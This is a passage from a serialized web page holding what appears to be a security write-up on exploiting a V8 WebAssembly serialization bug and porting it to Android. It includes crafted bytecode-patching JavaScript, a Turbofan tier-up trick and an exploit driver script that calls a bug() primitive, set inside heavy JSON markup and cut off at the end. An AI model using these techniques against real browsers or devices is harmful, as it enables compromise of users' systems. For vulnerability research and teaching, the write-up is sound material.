wasm_instance",{"type":25,"tag":271,"props":148473,"children":148474},{"style":13603},[148475],{"type":30,"value":16155},{"type":25,"tag":271,"props":148477,"children":148478},{"style":14289},[148479],{"type":30,"value":45045},{"type":25,"tag":271,"props":148481,"children":148482},{"style":13598},[148483],{"type":30,"value":146238},{"type":25,"tag":271,"props":148485,"children":148486},{"style":13625},[148487],{"type":30,"value":1860},{"type":25,"tag":271,"props":148489,"children":148490},{"style":13620},[148491],{"type":30,"value":146292},{"type":25,"tag":271,"props":148493,"children":148494},{"style":13625},[148495],{"type":30,"value":394},{"type":25,"tag":271,"props":148497,"children":148498},{"style":13598},[148499],{"type":30,"value":22204},{"type":25,"tag":271,"props":148501,"children":148502},{"style":13625},[148503],{"type":30,"value":13665},{"type":25,"tag":271,"props":148505,"children":148506},{"class":13593,"line":16823},[148507,148511,148515,148519,148523,148527,148531,148535,148539],{"type":25,"tag":271,"props":148508,"children":148509},{"style":14289},[148510],{"type":30,"value":49300},{"type":25,"tag":271,"props":148512,"children":148513},{"style":13598},[148514],{"type":30,"value":46084},{"type":25,"tag":271,"props":148516,"children":148517},{"style":13603},[148518],{"type":30,"value":16155},{"type":25,"tag":271,"props":148520,"children":148521},{"style":13598},[148522],{"type":30,"value":148471},{"type":25,"tag":271,"props":148524,"children":148525},{"style":13625},[148526],{"type":30,"value":1860},{"type":25,"tag":271,"props":148528,"children":148529},{"style":13598},[148530],{"type":30,"value":50996},{"type":25,"tag":271,"props":148532,"children":148533},{"style":13625},[148534],{"type":30,"value":1860},{"type":25,"tag":271,"props":148536,"children":148537},{"style":13598},[148538],{"type":30,"value":146341},{"type":25,"tag":271,"props":148540,"children":148541},{"style":13625},[148542],{"type":30,"value":16165},{"type":25,"tag":271,"props":148544,"children":148545},{"class":13593,"line":16832},[148546,148551],{"type":25,"tag":271,"props":148547,"children":148548},{"style":13620},[148549],{"type":30,"value":148550},"  f",{"type":25,"tag":271,"props":148552,"children":148553},{"style":13625},[148554],{"type":30,"value":16820},{"type":25,"tag":271,"props":148556,"children":148557},{"class":13593,"line":16841},[148558],{"type":25,"tag":271,"props":148559,"children":148560},{"style":13625},[148561],{"type":30,"value":115079},{"type":25,"tag":26,"props":148563,"children":148564},{},[148565],{"type":30,"value":148566},"Running this in a debugger shows the expected breakpoint:",{"type":25,"tag":7764,"props":148568,"children":148570},{"code":148569},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[148571],{"type":25,"tag":264,"props":148572,"children":148573},{"__ignoreMap":7},[148574],{"type":30,"value":148569},{"type":25,"tag":247,"props":148576,"children":148578},{"id":148577},"porting-to-android",[148579],{"type":30,"value":148580},"Porting to Android",{"type":25,"tag":26,"props":148582,"children":148583},{},[148584,148586,148591,148593,148598,148600,148605,148607,148613],{"type":30,"value":148585},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":25,"tag":264,"props":148587,"children":148589},{"className":148588},[],[148590],{"type":30,"value":145370},{"type":30,"value":148592}," fails. We cross-compiled ",{"type":25,"tag":264,"props":148594,"children":148596},{"className":148595},[],[148597],{"type":30,"value":144529},{"type":30,"value":148599}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":25,"tag":264,"props":148601,"children":148603},{"className":148602},[],[148604],{"type":30,"value":145370},{"type":30,"value":148606}," returned ",{"type":25,"tag":264,"props":148608,"children":148610},{"className":148609},[],[148611],{"type":30,"value":148612},"undefined",{"type":30,"value":1860},{"type":25,"tag":26,"props":148615,"children":148616},{},[148617,148619,148624,148626,148631],{"type":30,"value":148618},"Instead, we modified the bytecode to call ",{"type":25,"tag":264,"props":148620,"children":148622},{"className":148621},[],[148623],{"type":30,"value":145396},{"type":30,"value":148625}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":25,"tag":264,"props":148627,"children":148629},{"className":148628},[],[148630],{"type":30,"value":145370},{"type":30,"value":1860},{"type":25,"tag":7764,"props":148633,"children":148635},{"code":148634,"language":48727,"meta":7,"className":48725,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[148636],{"type":25,"tag":264,"props":148637,"children":148638},{"__ignoreMap":7},[148639,148650,148694,148714,148730,148753,148780,148795],{"type":25,"tag":271,"props":148640,"children":148641},{"class":13593,"line":13594},[148642,148646],{"type":25,"tag":271,"props":148643,"children":148644},{"style":16171},[148645],{"type":30,"value":61447},{"type":25,"tag":271,"props":148647,"children":148648},{"style":13625},[148649],{"type":30,"value":16431},{"type":25,"tag":271,"props":148651,"children":148652},{"class":13593,"line":11641},[148653,148657,148661,148665,148669,148673,148677,148682,148686,148690],{"type":25,"tag":271,"props":148654,"children":148655},{"style":13598},[148656],{"type":30,"value":145637},{"type":25,"tag":271,"props":148658,"children":148659},{"style":13625},[148660],{"type":30,"value":947},{"type":25,"tag":271,"props":148662,"children":148663},{"style":17388},[148664],{"type":30,"value":145646},{"type":25,"tag":271,"props":148666,"children":148667},{"style":13625},[148668],{"type":30,"value":1860},{"type":25,"tag":271,"props":148670,"children":148671},{"style":13620},[148672],{"type":30,"value":145655},{"type":25,"tag":271,"props":148674,"children":148675},{"style":13625},[148676],{"type":30,"value":394},{"type":25,"tag":271,"props":148678,"children":148679},{"style":16187},[148680],{"type":30,"value":148681},"0x059301",{"type":25,"tag":271,"props":148683,"children":148684},{"style":13603},[148685],{"type":30,"value":64371},{"type":25,"tag":271,"props":148687,"children":148688},{"style":16187},[148689],{"type":30,"value":17654},{"type":25,"tag":271,"props":148691,"children":148692},{"style":13625},[148693],{"type":30,"value":145677},{"type":25,"tag":271,"props":148695,"children":148696},{"class":13593,"line":14354},[148697,148701,148705,148710],{"type":25,"tag":271,"props":148698,"children":148699},{"style":13598},[148700],{"type":30,"value":145685},{"type":25,"tag":271,"props":148702,"children":148703},{"style":13603},[148704],{"type":30,"value":22025},{"type":25,"tag":271,"props":148706,"children":148707},{"style":16187},[148708],{"type":30,"value":148709}," 0x03027a6c",{"type":25,"tag":271,"props":148711,"children":148712},{"style":13625},[148713],{"type":30,"value":16165},{"type":25,"tag":271,"props":148715,"children":148716},{"class":13593,"line":14391},[148717,148721,148726],{"type":25,"tag":271,"props":148718,"children":148719},{"style":16171},[148720],{"type":30,"value":48313},{"type":25,"tag":271,"props":148722,"children":148723},{"style":16187},[148724],{"type":30,"value":148725}," 0x393e71a",{"type":25,"tag":271,"props":148727,"children":148728},{"style":13625},[148729],{"type":30,"value":16165},{"type":25,"tag":271,"props":148731,"children":148732},{"class":13593,"line":14400},[148733,148737,148741,148745,148749],{"type":25,"tag":271,"props":148734,"children":148735},{"style":13625},[148736],{"type":30,"value":59989},{"type":25,"tag":271,"props":148738,"children":148739},{"style":16171},[148740],{"type":30,"value":61527},{"type":25,"tag":271,"props":148742,"children":148743},{"style":13625},[148744],{"type":30,"value":16213},{"type":25,"tag":271,"props":148746,"children":148747},{"style":13598},[148748],{"type":30,"value":64570},{"type":25,"tag":271,"props":148750,"children":148751},{"style":13625},[148752],{"type":30,"value":27925},{"type":25,"tag":271,"props":148754,"children":148755},{"class":13593,"line":16406},[148756,148760,148764,148768,148772,148776],{"type":25,"tag":271,"props":148757,"children":148758},{"style":13598},[148759],{"type":30,"value":115038},{"type":25,"tag":271,"props":148761,"children":148762},{"style":13625},[148763],{"type":30,"value":1860},{"type":25,"tag":271,"props":148765,"children":148766},{"style":13620},[148767],{"type":30,"value":115047},{"type":25,"tag":271,"props":148769,"children":148770},{"style":13625},[148771],{"type":30,"value":394},{"type":25,"tag":271,"props":148773,"children":148774},{"style":17388},[148775],{"type":30,"value":145761},{"type":25,"tag":271,"props":148777,"children":148778},{"style":13625},[148779],{"type":30,"value":13665},{"type":25,"tag":271,"props":148781,"children":148782},{"class":13593,"line":16434},[148783,148787,148791],{"type":25,"tag":271,"props":148784,"children":148785},{"style":16171},[148786],{"type":30,"value":145773},{"type":25,"tag":271,"props":148788,"children":148789},{"style":13598},[148790],{"type":30,"value":145778},{"type":25,"tag":271,"props":148792,"children":148793},{"style":13625},[148794],{"type":30,"value":16165},{"type":25,"tag":271,"props":148796,"children":148797},{"class":13593,"line":16447},[148798],{"type":25,"tag":271,"props":148799,"children":148800},{"style":13625},[148801],{"type":30,"value":17058},{"type":25,"tag":26,"props":148803,"children":148804},{},[148805,148807,148813,148815,148821,148823,148829,148831,148836,148838,148844,148846,148851,148852,148858],{"type":30,"value":148806},"Here, ",{"type":25,"tag":264,"props":148808,"children":148810},{"className":148809},[],[148811],{"type":30,"value":148812},"a1 + 0x03027a6c",{"type":30,"value":148814}," generates the bytes ",{"type":25,"tag":264,"props":148816,"children":148818},{"className":148817},[],[148819],{"type":30,"value":148820},"01 4b 6c 7a 02 03",{"type":30,"value":148822},", where ",{"type":25,"tag":264,"props":148824,"children":148826},{"className":148825},[],[148827],{"type":30,"value":148828},"0x6c",{"type":30,"value":148830}," is the ",{"type":25,"tag":264,"props":148832,"children":148834},{"className":148833},[],[148835],{"type":30,"value":145354},{"type":30,"value":148837}," opcode, ",{"type":25,"tag":264,"props":148839,"children":148841},{"className":148840},[],[148842],{"type":30,"value":148843},"0x027a",{"type":30,"value":148845}," is the function ID of ",{"type":25,"tag":264,"props":148847,"children":148849},{"className":148848},[],[148850],{"type":30,"value":145396},{"type":30,"value":69},{"type":25,"tag":264,"props":148853,"children":148855},{"className":148854},[],[148856],{"type":30,"value":148857},"0x03",{"type":30,"value":148859}," is the register index holding its first argument.",{"type":25,"tag":26,"props":148861,"children":148862},{},[148863,148865,148870,148871,148876,148878,148883],{"type":30,"value":148864},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":25,"tag":264,"props":148866,"children":148868},{"className":148867},[],[148869],{"type":30,"value":145396},{"type":30,"value":12218},{"type":25,"tag":264,"props":148872,"children":148874},{"className":148873},[],[148875],{"type":30,"value":146364},{"type":30,"value":148877},". To avoid patching the bytecode again to invoke ",{"type":25,"tag":264,"props":148879,"children":148881},{"className":148880},[],[148882],{"type":30,"value":146364},{"type":30,"value":148884},", we can force Turbofan to compile the target function like this:",{"type":25,"tag":7764,"props":148886,"children":148888},{"code":148887,"language":48727,"meta":7,"className":48725,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[148889],{"type":25,"tag":264,"props":148890,"children":148891},{"__ignoreMap":7},[148892,148900,148960,148972],{"type":25,"tag":271,"props":148893,"children":148894},{"class":13593,"line":13594},[148895],{"type":25,"tag":271,"props":148896,"children":148897},{"style":14385},[148898],{"type":30,"value":148899},"// %WasmTierUpFunction(func);\n",{"type":25,"tag":271,"props":148901,"children":148902},{"class":13593,"line":11641},[148903,148907,148911,148915,148919,148923,148927,148931,148935,148939,148944,148948,148952,148956],{"type":25,"tag":271,"props":148904,"children":148905},{"style":16171},[148906],{"type":30,"value":16539},{"type":25,"tag":271,"props":148908,"children":148909},{"style":13625},[148910],{"type":30,"value":16213},{"type":25,"tag":271,"props":148912,"children":148913},{"style":14289},[148914],{"type":30,"value":24912},{"type":25,"tag":271,"props":148916,"children":148917},{"style":13598},[148918],{"type":30,"value":16544},{"type":25,"tag":271,"props":148920,"children":148921},{"style":13603},[148922],{"type":30,"value":16155},{"type":25,"tag":271,"props":148924,"children":148925},{"style":16187},[148926],{"type":30,"value":16190},{"type":25,"tag":271,"props":148928,"children":148929},{"style":13625},[148930],{"type":30,"value":30349},{"type":25,"tag":271,"props":148932,"children":148933},{"style":13598},[148934],{"type":30,"value":1937},{"type":25,"tag":271,"props":148936,"children":148937},{"style":13603},[148938],{"type":30,"value":21839},{"type":25,"tag":271,"props":148940,"children":148941},{"style":16187},[148942],{"type":30,"value":148943}," 0x100000",{"type":25,"tag":271,"props":148945,"children":148946},{"style":13625},[148947],{"type":30,"value":30349},{"type":25,"tag":271,"props":148949,"children":148950},{"style":13598},[148951],{"type":30,"value":1937},{"type":25,"tag":271,"props":148953,"children":148954},{"style":13603},[148955],{"type":30,"value":64385},{"type":25,"tag":271,"props":148957,"children":148958},{"style":13625},[148959],{"type":30,"value":27925},{"type":25,"tag":271,"props":148961,"children":148962},{"class":13593,"line":14354},[148963,148968],{"type":25,"tag":271,"props":148964,"children":148965},{"style":13620},[148966],{"type":30,"value":148967},"  func",{"type":25,"tag":271,"props":148969,"children":148970},{"style":13625},[148971],{"type":30,"value":16820},{"type":25,"tag":271,"props":148973,"children":148974},{"class":13593,"line":14391},[148975],{"type":25,"tag":271,"props":148976,"children":148977},{"style":13625},[148978],{"type":30,"value":17058},{"type":25,"tag":26,"props":148980,"children":148981},{},[148982],{"type":30,"value":148983},"Finally, running this code on the device:",{"type":25,"tag":7764,"props":148985,"children":148987},{"code":148986,"language":48727,"meta":7,"className":48725,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[148988],{"type":25,"tag":264,"props":148989,"children":148990},{"__ignoreMap":7},[148991,149014,149042,149261,149328,149335,149378,149421,149460,149467,149475,149535,149547,149554,149561,149592,149635,149662,149669,149705,149768],{"type":25,"tag":271,"props":148992,"children":148993},{"class":13593,"line":13594},[148994,148998,149002,149006,149010],{"type":25,"tag":271,"props":148995,"children":148996},{"style":13625},[148997],{"type":30,"value":394},{"type":25,"tag":271,"props":148999,"children":149000},{"style":14289},[149001],{"type":30,"value":49257},{"type":25,"tag":271,"props":149003,"children":149004},{"style":13625},[149005],{"type":30,"value":52807},{"type":25,"tag":271,"props":149007,"children":149008},{"style":14289},[149009],{"type":30,"value":27943},{"type":25,"tag":271,"props":149011,"children":149012},{"style":13625},[149013],{"type":30,"value":16431},{"type":25,"tag":271,"props":149015,"children":149016},{"class":13593,"line":11641},[149017,149022,149026,149030,149034,149038],{"type":25,"tag":271,"props":149018,"children":149019},{"style":14289},[149020],{"type":30,"value":149021},"  var",{"type":25,"tag":271,"props":149023,"children":149024},{"style":13598},[149025],{"type":30,"value":145894},{"type":25,"tag":271,"props":149027,"children":149028},{"style":13603},[149029],{"type":30,"value":16155},{"type":25,"tag":271,"props":149031,"children":149032},{"style":14289},[149033],{"type":30,"value":45045},{"type":25,"tag":271,"props":149035,"children":149036},{"style":13620},[149037],{"type":30,"value":145907},{"type":25,"tag":271,"props":149039,"children":149040},{"style":13625},[149041],{"type":30,"value":145912},{"type":25,"tag":271,"props":149043,"children":149044},{"class":13593,"line":14354},[149045,149049,149053,149057,149061,149065,149069,149073,149077,149081,149085,149089,149093,149097,149101,149105,149109,149113,149117,149121,149125,149129,149133,149137,149141,149145,149149,149153,149157,149161,149165,149169,149173,149177,149181,149185,149189,149193,149197,149201,149205,149209,149213,149217,149221,149225,149229,149233,149237,149241,149245,149249,149253,149257],{"type":25,"tag":271,"props":149046,"children":149047},{"style":16187},[149048],{"type":30,"value":146637},{"type":25,"tag":271,"props":149050,"children":149051},{"style":13625},[149052],{"type":30,"value":44},{"type":25,"tag":271,"props":149054,"children":149055},{"style":16187},[149056],{"type":30,"value":145929},{"type":25,"tag":271,"props":149058,"children":149059},{"style":13625},[149060],{"type":30,"value":44},{"type":25,"tag":271,"props":149062,"children":149063},{"style":16187},[149064],{"type":30,"value":145938},{"type":25,"tag":271,"props":149066,"children":149067},{"style":13625},[149068],{"type":30,"value":44},{"type":25,"tag":271,"props":149070,"children":149071},{"style":16187},[149072],{"type":30,"value":145947},{"type":25,"tag":271,"props":149074,"children":149075},{"style":13625},[149076],{"type":30,"value":44},{"type":25,"tag":271,"props":149078,"children":149079},{"style":16187},[149080],{"type":30,"value":968},{"type":25,"tag":271,"props":149082,"children":149083},{"style":13625},[149084],{"type":30,"value":44},{"type":25,"tag":271,"props":149086,"children":149087},{"style":16187},[149088],{"type":30,"value":953},{"type":25,"tag":271,"props":149090,"children":149091},{"style":13625},[149092],{"type":30,"value":44},{"type":25,"tag":271,"props":149094,"children":149095},{"style":16187},[149096],{"type":30,"value":953},{"type":25,"tag":271,"props":149098,"children":149099},{"style":13625},[149100],{"type":30,"value":44},{"type":25,"tag":271,"props":149102,"children":149103},{"style":16187},[149104],{"type":30,"value":953},{"type":25,"tag":271,"props":149106,"children":149107},{"style":13625},[149108],{"type":30,"value":44},{"type":25,"tag":271,"props":149110,"children":149111},{"style":16187},[149112],{"type":30,"value":968},{"type":25,"tag":271,"props":149114,"children":149115},{"style":13625},[149116],{"type":30,"value":44},{"type":25,"tag":271,"props":149118,"children":149119},{"style":16187},[149120],{"type":30,"value":30650},{"type":25,"tag":271,"props":149122,"children":149123},{"style":13625},[149124],{"type":30,"value":44},{"type":25,"tag":271,"props":149126,"children":149127},{"style":16187},[149128],{"type":30,"value":968},{"type":25,"tag":271,"props":149130,"children":149131},{"style":13625},[149132],{"type":30,"value":44},{"type":25,"tag":271,"props":149134,"children":149135},{"style":16187},[149136],{"type":30,"value":146012},{"type":25,"tag":271,"props":149138,"children":149139},{"style":13625},[149140],{"type":30,"value":44},{"type":25,"tag":271,"props":149142,"children":149143},{"style":16187},[149144],{"type":30,"value":953},{"type":25,"tag":271,"props":149146,"children":149147},{"style":13625},[149148],{"type":30,"value":44},{"type":25,"tag":271,"props":149150,"children":149151},{"style":16187},[149152],{"type":30,"value":953},{"type":25,"tag":271,"props":149154,"children":149155},{"style":13625},[149156],{"type":30,"value":44},{"type":25,"tag":271,"props":149158,"children":149159},{"style":16187},[149160],{"type":30,"value":7711},{"type":25,"tag":271,"props":149162,"children":149163},{"style":13625},[149164],{"type":30,"value":44},{"type":25,"tag":271,"props":149166,"children":149167},{"style":16187},[149168],{"type":30,"value":1326},{"type":25,"tag":271,"props":149170,"children":149171},{"style":13625},[149172],{"type":30,"value":44},{"type":25,"tag":271,"props":149174,"children":149175},{"style":16187},[149176],{"type":30,"value":968},{"type":25,"tag":271,"props":149178,"children":149179},{"style":13625},[149180],{"type":30,"value":44},{"type":25,"tag":271,"props":149182,"children":149183},{"style":16187},[149184],{"type":30,"value":953},{"type":25,"tag":271,"props":149186,"children":149187},{"style":13625},[149188],{"type":30,"value":44},{"type":25,"tag":271,"props":149190,"children":149191},{"style":16187},[149192],{"type":30,"value":67787},{"type":25,"tag":271,"props":149194,"children":149195},{"style":13625},[149196],{"type":30,"value":44},{"type":25,"tag":271,"props":149198,"children":149199},{"style":16187},[149200],{"type":30,"value":69001},{"type":25,"tag":271,"props":149202,"children":149203},{"style":13625},[149204],{"type":30,"value":44},{"type":25,"tag":271,"props":149206,"children":149207},{"style":16187},[149208],{"type":30,"value":968},{"type":25,"tag":271,"props":149210,"children":149211},{"style":13625},[149212],{"type":30,"value":44},{"type":25,"tag":271,"props":149214,"children":149215},{"style":16187},[149216],{"type":30,"value":31231},{"type":25,"tag":271,"props":149218,"children":149219},{"style":13625},[149220],{"type":30,"value":44},{"type":25,"tag":271,"props":149222,"children":149223},{"style":16187},[149224],{"type":30,"value":145938},{"type":25,"tag":271,"props":149226,"children":149227},{"style":13625},[149228],{"type":30,"value":44},{"type":25,"tag":271,"props":149230,"children":149231},{"style":16187},[149232],{"type":30,"value":146109},{"type":25,"tag":271,"props":149234,"children":149235},{"style":13625},[149236],{"type":30,"value":44},{"type":25,"tag":271,"props":149238,"children":149239},{"style":16187},[149240],{"type":30,"value":146118},{"type":25,"tag":271,"props":149242,"children":149243},{"style":13625},[149244],{"type":30,"value":44},{"type":25,"tag":271,"props":149246,"children":149247},{"style":16187},[149248],{"type":30,"value":146127},{"type":25,"tag":271,"props":149250,"children":149251},{"style":13625},[149252],{"type":30,"value":44},{"type":25,"tag":271,"props":149254,"children":149255},{"style":16187},[149256],{"type":30,"value":146127},{"type":25,"tag":271,"props":149258,"children":149259},{"style":13625},[149260],{"type":30,"value":14351},{"type":25,"tag":271,"props":149262,"children":149263},{"class":13593,"line":14391},[149264,149268,149272,149276,149280,149284,149288,149292,149296,149300,149304,149308,149312,149316,149320,149324],{"type":25,"tag":271,"props":149265,"children":149266},{"style":16187},[149267],{"type":30,"value":146637},{"type":25,"tag":271,"props":149269,"children":149270},{"style":13625},[149271],{"type":30,"value":44},{"type":25,"tag":271,"props":149273,"children":149274},{"style":16187},[149275],{"type":30,"value":953},{"type":25,"tag":271,"props":149277,"children":149278},{"style":13625},[149279],{"type":30,"value":44},{"type":25,"tag":271,"props":149281,"children":149282},{"style":16187},[149283],{"type":30,"value":102365},{"type":25,"tag":271,"props":149285,"children":149286},{"style":13625},[149287],{"type":30,"value":44},{"type":25,"tag":271,"props":149289,"children":149290},{"style":16187},[149291],{"type":30,"value":30650},{"type":25,"tag":271,"props":149293,"children":149294},{"style":13625},[149295],{"type":30,"value":44},{"type":25,"tag":271,"props":149297,"children":149298},{"style":16187},[149299],{"type":30,"value":968},{"type":25,"tag":271,"props":149301,"children":149302},{"style":13625},[149303],{"type":30,"value":44},{"type":25,"tag":271,"props":149305,"children":149306},{"style":16187},[149307],{"type":30,"value":1326},{"type":25,"tag":271,"props":149309,"children":149310},{"style":13625},[149311],{"type":30,"value":44},{"type":25,"tag":271,"props":149313,"children":149314},{"style":16187},[149315],{"type":30,"value":953},{"type":25,"tag":271,"props":149317,"children":149318},{"style":13625},[149319],{"type":30,"value":44},{"type":25,"tag":271,"props":149321,"children":149322},{"style":16187},[149323],{"type":30,"value":146203},{"type":25,"tag":271,"props":149325,"children":149326},{"style":13625},[149327],{"type":30,"value":14351},{"type":25,"tag":271,"props":149329,"children":149330},{"class":13593,"line":14400},[149331],{"type":25,"tag":271,"props":149332,"children":149333},{"style":13625},[149334],{"type":30,"value":146924},{"type":25,"tag":271,"props":149336,"children":149337},{"class":13593,"line":16406},[149338,149342,149346,149350,149354,149358,149362,149366,149370,149374],{"type":25,"tag":271,"props":149339,"children":149340},{"style":14289},[149341],{"type":30,"value":149021},{"type":25,"tag":271,"props":149343,"children":149344},{"style":13598},[149345],{"type":30,"value":84738},{"type":25,"tag":271,"props":149347,"children":149348},{"style":13603},[149349],{"type":30,"value":16155},{"type":25,"tag":271,"props":149351,"children":149352},{"style":14289},[149353],{"type":30,"value":45045},{"type":25,"tag":271,"props":149355,"children":149356},{"style":13598},[149357],{"type":30,"value":146238},{"type":25,"tag":271,"props":149359,"children":149360},{"style":13625},[149361],{"type":30,"value":1860},{"type":25,"tag":271,"props":149363,"children":149364},{"style":13620},[149365],{"type":30,"value":99032},{"type":25,"tag":271,"props":149367,"children":149368},{"style":13625},[149369],{"type":30,"value":394},{"type":25,"tag":271,"props":149371,"children":149372},{"style":13598},[149373],{"type":30,"value":146255},{"type":25,"tag":271,"props":149375,"children":149376},{"style":13625},[149377],{"type":30,"value":13665},{"type":25,"tag":271,"props":149379,"children":149380},{"class":13593,"line":16434},[149381,149385,149389,149393,149397,149401,149405,149409,149413,149417],{"type":25,"tag":271,"props":149382,"children":149383},{"style":14289},[149384],{"type":30,"value":149021},{"type":25,"tag":271,"props":149386,"children":149387},{"style":13598},[149388],{"type":30,"value":146271},{"type":25,"tag":271,"props":149390,"children":149391},{"style":13603},[149392],{"type":30,"value":16155},{"type":25,"tag":271,"props":149394,"children":149395},{"style":14289},[149396],{"type":30,"value":45045},{"type":25,"tag":271,"props":149398,"children":149399},{"style":13598},[149400],{"type":30,"value":146238},{"type":25,"tag":271,"props":149402,"children":149403},{"style":13625},[149404],{"type":30,"value":1860},{"type":25,"tag":271,"props":149406,"children":149407},{"style":13620},[149408],{"type":30,"value":146292},{"type":25,"tag":271,"props":149410,"children":149411},{"style":13625},[149412],{"type":30,"value":394},{"type":25,"tag":271,"props":149414,"children":149415},{"style":13598},[149416],{"type":30,"value":146301},{"type":25,"tag":271,"props":149418,"children":149419},{"style":13625},[149420],{"type":30,"value":13665},{"type":25,"tag":271,"props":149422,"children":149423},{"class":13593,"line":16447},[149424,149428,149432,149436,149440,149444,149448,149452,149456],{"type":25,"tag":271,"props":149425,"children":149426},{"style":14289},[149427],{"type":30,"value":149021},{"type":25,"tag":271,"props":149429,"children":149430},{"style":13598},[149431],{"type":30,"value":93122},{"type":25,"tag":271,"props":149433,"children":149434},{"style":13603},[149435],{"type":30,"value":16155},{"type":25,"tag":271,"props":149437,"children":149438},{"style":13598},[149439],{"type":30,"value":146271},{"type":25,"tag":271,"props":149441,"children":149442},{"style":13625},[149443],{"type":30,"value":1860},{"type":25,"tag":271,"props":149445,"children":149446},{"style":13598},[149447],{"type":30,"value":50996},{"type":25,"tag":271,"props":149449,"children":149450},{"style":13625},[149451],{"type":30,"value":1860},{"type":25,"tag":271,"props":149453,"children":149454},{"style":13598},[149455],{"type":30,"value":146341},{"type":25,"tag":271,"props":149457,"children":149458},{"style":13625},[149459],{"type":30,"value":16165},{"type":25,"tag":271,"props":149461,"children":149462},{"class":13593,"line":16465},[149463],{"type":25,"tag":271,"props":149464,"children":149465},{"emptyLinePlaceholder":18},[149466],{"type":30,"value":16829},{"type":25,"tag":271,"props":149468,"children":149469},{"class":13593,"line":16486},[149470],{"type":25,"tag":271,"props":149471,"children":149472},{"style":14385},[149473],{"type":30,"value":149474},"  // %WasmTierUpFunction(func);\n",{"type":25,"tag":271,"props":149476,"children":149477},{"class":13593,"line":16495},[149478,149483,149487,149491,149495,149499,149503,149507,149511,149515,149519,149523,149527,149531],{"type":25,"tag":271,"props":149479,"children":149480},{"style":16171},[149481],{"type":30,"value":149482},"  for",{"type":25,"tag":271,"props":149484,"children":149485},{"style":13625},[149486],{"type":30,"value":16213},{"type":25,"tag":271,"props":149488,"children":149489},{"style":14289},[149490],{"type":30,"value":24912},{"type":25,"tag":271,"props":149492,"children":149493},{"style":13598},[149494],{"type":30,"value":16544},{"type":25,"tag":271,"props":149496,"children":149497},{"style":13603},[149498],{"type":30,"value":16155},{"type":25,"tag":271,"props":149500,"children":149501},{"style":16187},[149502],{"type":30,"value":16190},{"type":25,"tag":271,"props":149504,"children":149505},{"style":13625},[149506],{"type":30,"value":30349},{"type":25,"tag":271,"props":149508,"children":149509},{"style":13598},[149510],{"type":30,"value":1937},{"type":25,"tag":271,"props":149512,"children":149513},{"style":13603},[149514],{"type":30,"value":21839},{"type":25,"tag":271,"props":149516,"children":149517},{"style":16187},[149518],{"type":30,"value":148943},{"type":25,"tag":271,"props":149520,"children":149521},{"style":13625},[149522],{"type":30,"value":30349},{"type":25,"tag":271,"props":149524,"children":149525},{"style":13598},[149526],{"type":30,"value":1937},{"type":25,"tag":271,"props":149528,"children":149529},{"style":13603},[149530],{"type":30,"value":64385},{"type":25,"tag":271,"props":149532,"children":149533},{"style":13625},[149534],{"type":30,"value":27925},{"type":25,"tag":271,"props":149536,"children":149537},{"class":13593,"line":16744},[149538,149543],{"type":25,"tag":271,"props":149539,"children":149540},{"style":13620},[149541],{"type":30,"value":149542},"    func",{"type":25,"tag":271,"props":149544,"children":149545},{"style":13625},[149546],{"type":30,"value":16820},{"type":25,"tag":271,"props":149548,"children":149549},{"class":13593,"line":16761},[149550],{"type":25,"tag":271,"props":149551,"children":149552},{"style":13625},[149553],{"type":30,"value":19003},{"type":25,"tag":271,"props":149555,"children":149556},{"class":13593,"line":16778},[149557],{"type":25,"tag":271,"props":149558,"children":149559},{"emptyLinePlaceholder":18},[149560],{"type":30,"value":16829},{"type":25,"tag":271,"props":149562,"children":149563},{"class":13593,"line":16791},[149564,149568,149572,149576,149580,149584,149588],{"type":25,"tag":271,"props":149565,"children":149566},{"style":14289},[149567],{"type":30,"value":20977},{"type":25,"tag":271,"props":149569,"children":149570},{"style":13598},[149571],{"type":30,"value":148377},{"type":25,"tag":271,"props":149573,"children":149574},{"style":13603},[149575],{"type":30,"value":16155},{"type":25,"tag":271,"props":149577,"children":149578},{"style":13620},[149579],{"type":30,"value":148386},{"type":25,"tag":271,"props":149581,"children":149582},{"style":13625},[149583],{"type":30,"value":394},{"type":25,"tag":271,"props":149585,"children":149586},{"style":13598},[149587],{"type":30,"value":146301},{"type":25,"tag":271,"props":149589,"children":149590},{"style":13625},[149591],{"type":30,"value":13665},{"type":25,"tag":271,"props":149593,"children":149594},{"class":13593,"line":16800},[149595,149599,149603,149607,149611,149615,149619,149623,149627,149631],{"type":25,"tag":271,"props":149596,"children":149597},{"style":13598},[149598],{"type":30,"value":148422},{"type":25,"tag":271,"props":149600,"children":149601},{"style":13603},[149602],{"type":30,"value":16155},{"type":25,"tag":271,"props":149604,"children":149605},{"style":13625},[149606],{"type":30,"value":16213},{"type":25,"tag":271,"props":149608,"children":149609},{"style":16171},[149610],{"type":30,"value":46029},{"type":25,"tag":271,"props":149612,"children":149613},{"style":13598},[149614],{"type":30,"value":148377},{"type":25,"tag":271,"props":149616,"children":149617},{"style":13625},[149618],{"type":30,"value":1860},{"type":25,"tag":271,"props":149620,"children":149621},{"style":13620},[149622],{"type":30,"value":70680},{"type":25,"tag":271,"props":149624,"children":149625},{"style":13625},[149626],{